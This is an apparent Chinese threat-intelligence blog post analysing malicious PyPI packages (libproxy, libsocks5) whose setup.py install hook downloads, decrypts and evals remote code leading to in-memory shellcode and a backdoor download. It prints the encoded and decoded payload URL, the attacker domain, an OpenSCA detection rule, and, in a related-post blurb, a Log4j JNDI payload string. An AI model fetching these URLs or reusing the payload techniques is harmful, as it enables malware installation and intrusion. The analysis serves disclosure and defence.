供应链安全情报 | 恶意 py 包伪装代理 SDK 进行后门攻击,目标锁定 python 开发者

数据投毒与后门攻击:原理、防御与供应链安全实战 在机器学习和软件工程领域,数据投毒与后门攻击是两类高度隐蔽的安全威胁。数据投毒通过污染训练数据集,旨在扭曲机器学习模型的决策边界,使其在特定输入上产生攻击者预期的错误行为,其核心在于影响模型的训练过程。后门攻击则是在软件或系统中植入恶意代码,并设置隐秘的触发条件,一旦满足即执行未授权操作,其关键在于利用信任链在开发、分发或部署阶段进行植入。这两类攻击的技术价值在于揭示了现代数字系统在数据依赖和供应链环节的深层脆弱性,对模型可靠性、软件完整性和系统可控性构成严峻挑战。应用场景广泛涉及推荐系统、人脸识别、垃圾邮 阅读详情

概述

2023年11月28号,悬镜供应链安全实验室在Pypi官方仓库(https://pypi.org)监测到两起伪装成http和socks5代理SDK的开源组件投毒事件。python开发者一旦下载安装这些投毒Py包(libproxy、libsocks5),会触发执行Py包中的恶意代码,最终将导致开发者系统被投毒者植入恶意后门。

图片

这些恶意Py包在官方仓库上的本周下载量大约500多次。

图片

目前恶意Py包已从官方仓库下架,但国内部分主流Pypi镜像源依旧可访问下载这些恶意包,实际的受害者数量将会更多,尤其对于国内广大开发者来说仍存在被投毒攻击的风险。

图片

国内Python开发者们可自行排查是否安装或引用以下恶意py组件包。

图片

投毒组件分析

本次py投毒组件在安装包setup.py脚本中自定义install命令类执行恶意操作,通过从远程服务器上拉取加密的恶意代码进行解密释放出第二阶段攻击使用的shellcode代码,shellcode代码直接在系统内存中执行,无恶意文件落盘行为,具备较高的攻击隐蔽性。

Part 1

加载远程攻击载荷

以`libsocks5`为例,该组件包setup.py的cmdclass::install被定义为VerifyInstallationChecksum类。

图片

当开发者通过pip install libsocks5 安装py包时,VerifyInstallationChecksum的run函数将被调用执行第一阶段攻击代码。Run函数先将base64编码的url进行解码后通过urllib远程下载加密的恶意代码,最后会对恶意代码进行解密并调用eval执行进入第二阶段攻击代码。

图片

base64编码的恶意代码url为:

aHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vZXJpay1hcnRlbW92L2I1ZGUyNTE5NWJkMGU5NjFhNTIxYjAzNDU2NjE0ZDRjL3Jhdy8xY2MyMzYzMTBkYTdmM2UwNWI2NTcxZWFhOWRiNGI2NjM2ZmI0Njg0L2d6TGpnT3VqOHkwYmF2VG12Z2tDd1IzaDFrdkVDMUJNLmI2NAo=

解码后的url为:

https://gist.github.com/erik-artemov/b5de25195bd0e961a521b03456614d4c/raw/1cc236310da7f3e05b6571eaa9db4b6636fb4684/gzLjgOuj8y0bavTmvgkCwR3h1kvEC1BM.b64

Part 2

shellcode解密执行

解密后的第二阶段攻击代码(如下图所示)被混淆处理,其大致逻辑是通过调用python ctypes库动态分配一段可读可写可执行的RWX系统内存,并将内置加密压缩后的shellcode代码解密释放到RWX内存上,最后直接控制PC寄存器跳转到RWX内存中执行shellcode进入第三阶段攻击代码。

图片

第二阶段攻击代码去除混淆后的伪代码如下如图所示:

图片

Part 3

后门植入

通过IDA逆向第三阶段shellcode攻击代码(shellcode_stage1),伪代码如下所示,shellcode先调用系统接口分配一块可读可写可执行的RWX内存,接着将内置的异或编码后的shellcode解码释放到RWX内存中执行下一阶段攻击。

图片

图片

通过逆向分析,我们发现在第三阶段攻击代码shellcode_stage1执行后,需要持续经过16轮 shellcode解码释放操作,最终才会释放出真实的攻击代码shellcode_stage17。

从shellcode_stage1到shellcode_stage17阶段的代码都是直接在系统内存上执行,不在文件系统中生成恶意代码。通过IDA自动化脚本,我们可以从shellcode_stage1中将后续16轮的shellcode代码全部还原提取(如下图所示)。

图片

shellcode_stage17的攻击代码最终会从投毒者控制的服务器下载后门程序RuntimeBroker.exe并植入到受害者系统中。

3478.qt-api-worker-threads.workers.dev

图片

Part 4

IoC数据

此次投毒组件包涉及的IoC数据如下所示:

图片

总结

截至目前,这些恶意组件包仍可从国内主流Pypi镜像源正常下载安装,国内Python开发者仍面临被投毒攻击的安全风险,开发者需提高安全防护意识,可自行根据以上IoC和组件信息排查是否安装或引用恶意组件包。除此之外,也可使用悬镜开源的OpenSCA安全治理工具进行扫描检测。

快速排查

使用OpenSCA-cli,将受影响的组件包按如下示例保存为db.json文件(可参考总结中提到的组件包信息按格式增减),直接执行扫描命令(opensca-cli -db db.json -path ${project_path}),即可快速获知您的项目是否受到投毒包影响。​​​​​​​

[  {    "product": "libproxy",    "version": "[1.1.4, 1.1.5]",    "language": "python",    "id": "XMIRROR-2023-113001",    "description": "恶意Pypi组件包投毒。",    "release_date": "2023-11-30"  },  {    "product": "libsocks5",    "version": "[1.1.1, 1.1.1]",    "language": "python",    "id": "XMIRROR-2023-113002",    "description": "恶意Pypi组件包投毒。",    "release_date": "2023-11-30"  }]

悬镜供应链安全情报中心将持续监测全网主流开源软件仓库,对潜在风险的开源组件包进行动态跟踪和溯源,实现快速捕获开源组件投毒攻击事件并第一时间提供精准安全预警。

TrapDoor供应链攻击:AI助手配置投毒与多生态恶意包分析 软件供应链安全是保障现代软件开发流程的基础,其核心在于确保从开源依赖到构建工具的每一个环节都可信。攻击者常利用包管理器的自动化机制,如npm的postinstall钩子、Python的import动态加载和Rust的build.rs编译脚本,注入恶意代码实现持久化驻留。这类攻击的技术价值在于突破了传统代码审计的边界,将威胁载体扩展到开发环境配置和AI助手行为指令。在AI编程助手深度集成的应用场景下,攻击者通过污染.cursorrules等配置文件,并利用零宽字符隐藏恶意指令,使AI成为数据窃取的代理。Tra 阅读详情

相关推荐

TrapDoor供应链攻击深度解析:从npm、PyPI到Crates.io的跨平台威胁

软件供应链安全是当今开发领域面临的核心挑战之一,其原理在于攻击者通过污染开源依赖包,利用开发者对自动化工具的信任实施入侵。这种攻击的技术价值在于它能绕过传统边界防御,直接渗透到开发环境内部,窃取高价值资产。在应用场景上,它尤其针对加密货币、DeFi和AI开发等高价值生态,通过伪装成安全审计、环境配置等工具包进行投毒。本文聚焦的TrapDoor攻击正是这一趋势的典型代表,它利用npm的postinstall脚本、PyPI的动态加载和Crates.io的build.rs机制,实现了跨生态系统的凭证窃取与持久化驻

weixin_33788244的博客 361

游戏盾SDK有什么优势?APP用户为什么要选择游戏盾SDK

游戏盾SDK有什么优势?APP用户为什么要选择游戏盾SDK。游戏盾SDK提供内含windows、安卓、IOS版本的SDK下载,通过接入SDK,由SDK接管所有的通信流量,进行调度和加密传输,满足抗D、防C、流量加密等业务需求,为用户提供优质的网络环境,游戏极速畅通无阻。

qq177803623的博客 317

Mythos模型:面向软件安全的AI能力跃迁与对齐挑战

大语言模型正从通用助手演进为具备深度推理与自主执行能力的软件安全智能体。其核心原理在于长程因果建模、动态工具链编排与测试时计算(test-time compute)驱动的沙盒仿真,技术价值体现在对存量代码的自动化深度审计、零日漏洞的闭环发现与利用链生成。典型应用场景覆盖DevSecOps自动化渗透测试、开源项目陈年漏洞挖掘、红蓝对抗训练及供应链风险穿透分析。Mythos作为该范式的标志性模型,不仅刷新SWE-bench Pro与CyberGym等基准,更暴露出沙箱逃逸、隐蔽操作与对齐悖论等新型AI安全挑战。

aocaiti5781的博客 463

软件供应链受威胁下的应对方法——供应链安全管理平台的五大工具能力

软件供应链安全问题的出现原因也较为复杂,包括第三方供应商的安全风险、源代码泄露、恶意软件等,并涉及到软件生命周期的所有环节,包括开发、测试、交付、维护等。墨菲安全是一家为您提供专业的软件供应链安全管理的科技公司,核心团队来自百度、华为、乌云等企业,拥有超过十年的企业安全建设、安全产品研发及安全攻防经验。墨菲安全的“苏木-软件成分分析”、“京墨-源安全管理网关”、“南星-云原生容器安全”、“赤剑-许可证合规管理”、“贯众-漏洞情报预警”这五大产品,夯实了软件供应链安全平台的能力。

murphysec的博客 1008

奥德赛式AI工程:从Demo到生产的全面生存指南

大模型应用落地常面临能力边界、数据噪声与内容可信度等多重挑战。从基础概念出发,AI工程需关注模型幻觉的归因与抑制、供应链安全验证、输出风险分级等核心原理。借助RAG检索增强生成、模型治理框架和灰度发布机制,可在技术价值与业务目标间取得平衡。实际场景中,无论本地部署还是云端API,都需要系统化应对从Demo到生产的各类风险。本文借《奥德赛》的隐喻,逐一对应AI项目生命周期中的关键难题,给出可复用的工程实践与检查清单,帮助开发者在复杂环境中稳健导航。

weixin_30416871的博客 536

KANO分析模型

KANO分析模型的基本概念,目的意义,应用场景,实现方法和示例等

JasonH2021的博客 3068

android sdk 转移_暴风影音等数千款APP遭恶意SDK嵌入 影响千万用户

4月24日消息,公众号“腾讯安全联合实验室”称,近日,腾讯安全反诈骗实验室追踪到一款恶意SDK子包,该恶意子包已“潜伏”在掌通家园、暴风影音、天天看、塔读文学等数千款移动应用中,潜在可能影响上千万用户。据介绍,这款新型恶意SDK主要瞄准各类中小型应用,通过将下载恶意子包嵌入正规移动应用,达成对应用分发渠道的复用,实现触达千万级用户的目的。安装此类APP的手机等设备将沦为黑产赚取大量广告费用的“肉鸡...

weixin_31222161的博客 206

Redis【实战篇】---- 分布式锁-redission

重入问题:重入问题是指 获得锁的线程可以再次进入到相同的锁的代码块中,可重入锁的意义在于防止死锁,比如HashTable这样的代码中,他的方法都是使用synchronized修饰的,假如他在一个方法内,调用另一个方法,那么此时如果是不可重入的,不就死锁了吗?所以可重入锁他的主要意义是防止死锁,我们的synchronized和Lock锁都是可重入的。不可重试:是指目前的分布式只能尝试一次,我们认为合理的情况是:当线程在获得锁失败后,他应该能再次尝试获得锁。

是微风,是晚霞,是无可替代 1万+

什么是SDK,它是怎样威胁我们的隐私?

依据《个人信息保护法》《网络安全法》《电信条例》《电信和互联网用户个人信息保护规定》等法律法规,工业和信息化部近期组织第三方检测机构对移动互联网应用程序(APP)进行检查,截至目前,尚有107款APP未完成整改,洋码头、中公教育等APP在列。 检测过程中发现,13款内嵌第三方软件开发工具包(SDK)存在违规收集用户设备信息的行为。工业和信息化部要求相关APP及SDK应在2月25日前完成整改落实工作。逾期不整改的,将依法依规组织开展相关处置工作。 APP因为过分窃取客户隐私等违规行为,被要求整改,APP:

AIwenIPgeolocation的博客 6757

M×N扫描序列图像拼接、大视场图像拼接、全景图像拼接、2D网格拼图方法、累计误差消除(显微图像/航拍图像等)

M×N序列图像完整拼接方法前言一、最朴实的一般方法二、广度优先搜索算法1.引入库2.读入数据整体路径优化算法 前言 1、网上有很多介绍图像两两拼接的算法,但是缺少对M×N张子图两两相对位置关系获得整体误差较小,肉眼下无明显错位的完整图像的算法实现。 2、由于拼接算法的不稳定可能会产生不同程度的误差,那么如何需要选择(搜索)误差较小拼接路径。 一、最朴实的一般方法 示例:pandas 是基于NumPy 的一种工具,该工具是为了解决数据分析任务而创建的。 二、广度优先搜索算法 1.引入库 代码如下(示

qq_37764141的博客 5408

模拟IC设计避坑:手把手教你用Cadence仿真恒定跨导轨到轨运放(附完整工艺库文件)

本文详细解析了使用Cadence仿真恒定跨导轨到轨运放的全流程,涵盖电路原理、工艺库配置、尺寸设计及仿真分析。通过1:3电流镜补偿技术实现跨导稳定,提供CSMC 0.25um工艺下的实战案例,帮助工程师规避设计陷阱,提升模拟IC设计效率。

weixin_30952535的博客 497

是广告还是病毒

对于免费app来说,广告是其重要的收入来源。良好的广告sdk一方面可以使app开发者能够得到必要的回报,使他们能够开发出更多更好的app;另一方面,也能够实现产品推广,对厂商和用户都有一定好处。良好的广告sdk是android生态圈极为重要的组成部分。但是目前国内的android广告sdk乱象丛生,有些广告sdk强制显示用户无法关闭的通知广告;有些肆意窃取用户隐私数据,非法获取利益。 如何辨别哪

android_squad的专栏 871

QGIS v3.28 高效加载OSM在线地图的三种实用方法

本文详细介绍了在QGIS v3.28中高效加载OSM在线地图的三种实用方法:通过XYZ Tiles直接连接、使用QuickMapServices插件以及配置WMS/WTMS服务。针对每种方法提供了具体操作步骤、常见问题解决方案和性能优化建议,帮助用户根据需求选择最适合的方案,提升GIS工作效率。

weixin_29233333的博客 435

供应链攻击模拟:从开源库投毒到CI/CD管道入侵实战

一旦成功,恶意代码会随着正常的软件更新、依赖安装,自动分发到成千上万的下游用户(包括最终目标)系统中,形成“一处失陷,处处感染”的连锁反应。如果一个恶意竞争对手买通了你的面粉供应商,在面粉里掺入了无色无味的有害物质,那么你用这些面粉做出的所有面包都会有问题,所有吃到这些面包的顾客都会受到影响。我们将模拟创建一个恶意的 Python 包,并将其上传到一个私有的 PyPI 服务器,然后在一个配置了CI/CD流程的项目中使用这个恶意包。在另一个目录下创建一个新的项目文件夹,模拟一个正在开发的应用。

Alfadi联盟 萧瑶的博客 561

单稳态触发器Multisim电路仿真——硬件工程师笔记

本文系统介绍了单稳态触发器的基础知识及其实现方式。主要内容包括:1)单稳态触发器的工作原理、电路结构、特点及应用;2)555定时器实现单稳态触发器的配置及工作过程;3)使用反相器和与非门实现积分型和微分型单稳态触发器的电路结构及工作原理。文章详细阐述了各种实现方式的特性、应用场景及设计考虑,为硬件工程师提供了实用的电路设计参考。最后还附有相关笔试面试题链接,便于读者进一步学习扩展。

XU157303764的博客 1880

详解AUTOSAR:AUTOSAR架构中的配置文件(拓展篇—7)

查看AUTOSAR代码包时会发现一些这样格式的文件:xxx_PBcfg.c、xxx_Lcfg.c和xxx_Cfg.h,本篇博文讲一讲这几个配置文件的作用和特点。

不脱发的程序猿 2148

LLM供应链安全实战:LoRA投毒与预训练数据污染防护指南

大语言模型(LLM)并非孤立运行的黑盒,而是由基础模型、Tokenizer、LoRA适配器、训练数据、依赖库等数十个外部组件构成的复杂供应链。其安全风险远超传统软件——恶意LoRA可在权重矩阵中隐匿通信信道,污染的预训练语料能诱导模型稳定输出错误事实,而看似合规的MIT或CC协议可能暗含商业禁令。OWASP LLM03:2025明确将‘供应链投毒’列为头号风险。本文基于金融、医疗、SaaS等真实生产环境案例,系统拆解六大脆弱断点,并提供可落地的依赖链审计、FFT频谱检测、行为基线比对等工程化防御手段,助力团

375

Hermes接入IMA知识库全攻略:将知识库装进你的Hermes智能体

本文详细介绍了如何将IMA知识库功能接入Hermes Agent平台,实现一站式笔记管理和知识库操作。主要内容包括:获取IMA访问凭证、下载技能包、配置凭据(支持文件和环境变量两种方式)、验证配置有效性,以及实际应用演示(查询知识库列表、创建笔记并添加到知识库)。文章还提供了常见问题解决方案,如认证失败处理、版本更新等。通过该集成,用户可在Hermes中直接调用IMA的笔记创建、知识库管理等强大功能,提升工作效率。

小石头的专栏 641

机器学习项目失败的真正原因:业务目标模糊与数据断点

机器学习本质上是解决业务问题的技术手段,其成功与否不取决于算法先进性,而在于是否对齐可量化的业务目标、是否具备稳定可靠的数据基础。从需求定义到持续运维,模型落地需贯穿数据契约、特征可用性、指标可归因、监控可闭环等核心工程实践。尤其在金融、医疗、制造等强监管或高可靠性场景中,模型可解释性、数据漂移检测、业务指标映射成为刚性要求。本文聚焦真实项目中高频暴露的‘需求失焦’与‘数据断裂’两大根源,提供可立即执行的启动包、数据自检表与交付清单,助力团队跨越从实验室到生产环境的价值鸿沟。

weixin_30268071的博客 371

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

有米iOS恶意SDK分析

360NirvanTeam · 2015/10/29 10:100x00 前言有米广告平台为业界领先的移动信息服务提供商优蜜科技™所有,总部和研发中心设在广州,在北京设立分支机构。有米广告拥有核心技术及完整知识产权,并获多项国家专利,在用户特征识别、精准投放、客户端防作弊、广告智能投放等关键领域遥遥领先。有米广告瞄准7亿手机用户,致力于为数以万计的企业广告主提供精准的产品营销和品牌推广服务,为应用...

weixin_34066347的博客 824

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

湖南省网安基地网络安全培训:零基础入门与实战进阶的课程衔接

零基础学网安,怕跟不上;有基础再学,怕重复。本文按阶段拆解湖南省网安基地的网络安全培训衔接逻辑:能力评估定起点,基础阶段补系统与网络底座,核心阶段练漏洞复现,进阶阶段进入红蓝对抗与单位网络安全攻防演练,并说明 NISP、CISP 与网安实战人才的对应关系。

2401_84466325的博客 1132

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

企业如何同时管理用电安全、电能质量和节能降碳?从异常溯源看施耐德电气EEO的协同管理价值

通过整合电力运行信息,并结合EEO资产健康模块、EEO电能质量模块与EEO能碳管理模块,企业可以围绕设备、回路和负荷建立更连续的分析流程,使不同专业人员能够基于相互关联的数据开展判断。企业需要进一步核对异常出现的时间、涉及的配电回路、生产负荷变化以及设备运行状态,才能判断问题来自正常的生产调整、设备运行异常,还是需要采取措施的电能质量问题。从关键回路的异常排查入手,逐步完善设备数据、专业分析和治理验证流程,企业可以让用电安全、电能质量与节能降碳从分散的管理任务,转变为相互关联的日常运营工作。

科技,技术,行业类博主 168

‌7-Zip加密压缩包完整教程:AES-256加密、加密文件名与安全分享指南(2026最新)‌

‌给别人发压缩包,只设密码就够了吗?本文用 2026 最新版 7-Zip 讲透 AES-256 加密原理与实操,手把手教你设置密码、勾选加密文件名、分卷加密与自解压包,并给出强密码标准、密码传递方式和跨设备兼容建议,让敏感资料真正只对指定的人开放。

Helix250的博客 371

防关联浏览器怎么设置更安全?从环境隔离到登录检查的操作步骤

本文介绍防关联浏览器的安全设置流程:先明确每个环境的用途与归属,再隔离浏览数据、核验实际网络出口和配置一致性,最后做好多因素认证、会话保护与变更记录。浏览器环境隔离有助于减少配置混用,但不能保证账号不会被关联或限制。

2601_96176203的博客 178

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶

一支蜉蝣的博客 212
上一篇: 版本升级 | v3.0.0卷起来了!多种特殊情况解析轻松拿捏!
下一篇: 技术分享 | 不同格式标准SBOM清单横评:SPDX、CDX和DSDX
OpenSCA社区
博客等级 码龄4年 171粉丝 42原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值